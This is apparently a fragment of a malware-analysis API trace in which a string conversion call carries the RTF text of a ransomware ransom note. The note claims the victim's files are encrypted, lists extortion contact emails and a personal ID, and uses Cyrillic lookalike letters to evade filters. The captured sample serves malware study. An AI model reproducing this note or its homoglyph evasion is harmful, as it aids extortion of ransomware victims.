th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c4dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 